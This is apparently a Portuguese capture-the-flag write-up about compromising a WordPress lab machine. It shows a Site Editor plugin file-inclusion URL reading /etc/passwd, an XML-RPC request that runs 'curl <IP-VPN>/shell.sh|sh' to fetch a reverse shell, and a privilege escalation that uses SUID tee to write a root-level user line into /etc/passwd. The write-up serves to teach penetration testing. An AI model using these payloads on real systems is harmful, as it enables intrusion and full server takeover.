Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up backdoor
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.
Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar
uma ferramenta chamada nmap.
Ports:
Porta 22 - SSH
Porta 80 - HTTP
Ao acessar a porta 80 temos um cms (Wordpress), olhando o código fonte podemos notar um domínio→ wp.uhclabs.com.
Então teremos que mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo host, conforme
ilustrado na imagem a seguir.
Write-Up - Backdoor 1
Varredura ffuf:
Usaremos uma ferramenta chamada ffuf, que usa uma lista de palavras existente de possíveis nomes de diretórios comuns e
tentará carregar todos os nomes de diretórios nessa lista de palavras e, então, olhará o código de status. (Se estiver usando
Kali ou ParrotOS, você pode encontrar essas listas de palavras em /usr/share/wordlists/dirbuster ou pode usar as da Seclist )
Write-Up - Backdoor 2
Indo em wp-includes, temos algo interessante → class-wp-xmlrpc-server.php → Registra todos os métodos XMLRPC,
Mas infelizmente não conseguiremos ler.
Write-Up - Backdoor 3
WPscan
WPScan é um software de teste de caixa-preta para escanear possíveis vulnerabilidades em instalações WordPress e seus
complementos.
Após rodar a ferramenta, podemos ver que ele identificou uma vulnerabilidade de LFI no plugin → Site Editor
Write-Up - Backdoor 4
Offensive Security's Exploit Database Archive
Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/ Vendor: Site Editor Tested
version: 1.1.1 CVE ID: CVE-2018-7422 ** CVE description ** A Local File Inclusion vulnerability in the Site
Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path
https://www.exploit-db.com/exploits/44340
Poc:
http://<SITE>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
http://wp.uhclabs.com/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/
Ao ler o arquivo, temos algo interessante, existe um método chamado shellcommand que é um alias para → shell_exec .
Write-Up - Backdoor 5
Sabendo disso, podemos interagir usando o xmlrpc.
O XML-RPC é um recurso do WordPress que permite que dados sejam transmitidos, com HTTP agindo como mecanismo de
transporte e XML como mecanismo de codificação. Como o WordPress não é um sistema “fechado” e, ocasionalmente,
precisa se comunicar com outros sistemas, esse sistema foi feito para lidar com esse trabalho.
Iremos acessar /xmlrpc.php e interceptaremos com o Burp suite, logo iremos enviar uma requisição via POST
Write-Up - Backdoor 6
XML-RPC/system.listMethods " WordPress Codex
system.multicall system.listMethods system.getCapabilities demo.multiplyTwoNumbers demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks
pingback.ping mt.publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories
mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.setTemplate metaWeblog.getTemplate metaWeblog.deletePost
https://codex.wordpress.org/XML-RPC/system.listMethods
E como podemos ver, ele não aceita listar os métodos, mas como já sabemos que existe um método chamado shellcommand,
podemos interagir diretamente com ele.
E como podemos ver no response, ele espera um valor, que tem que ser do tipo string.
Sabendo disso iremos passar a string id
<methodCall>
<methodName>shellcommand</methodName>
<params>
<value>
<string>
id
</string>
</value>
</params>
</methodCall>
Write-Up - Backdoor 7
E temos o output do comando id , agora podemos enviar uma payload de reverse shell utilizando o curl
shell.sh:
#!/bin/bash
Write-Up - Backdoor 8
Agora iremos enviar:
<methodCall>
<methodName>shellcommand</methodName>
<params>
<value>
<string>
curl <IP-VPN>/shell.sh|sh
</string>
</value>
</params>
</methodCall>
E temos shell =)
Write-Up - Backdoor 9
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Enter
export TERM=xterm
Write-Up - Backdoor 10
Privesc
Procurando por binários com SUID , temos o binário tee
SUID é uma permissão especial que permite que outros usuários executem com os privilégios do proprietário.
Gtfobins
Write-Up - Backdoor 11
Tee → Ele grava dados em arquivos, pode ser usado para fazer gravações privilegiadas ou gravar arquivos fora de um
openssl passwd -1
Na imagem abaixo, você pode observar que, eu atribuí uid: 0 e gid: 0 e o diretório inicial /root/root, portanto, demos privilégio
de root ao nosso user:
user:$1$CZG1o8iZ$VZRxQu2xJ35Td9ID/LGsA.:0:0:root:/root:/bin/bash
LFILE=/etc/passwd
Executando o comando cat no /etc/passwd veremos que nosso usuário foi adicionado.
Write-Up - Backdoor 12
Agora é só logar com esse usuário e ler a última flag =)
Write-Up - Backdoor 13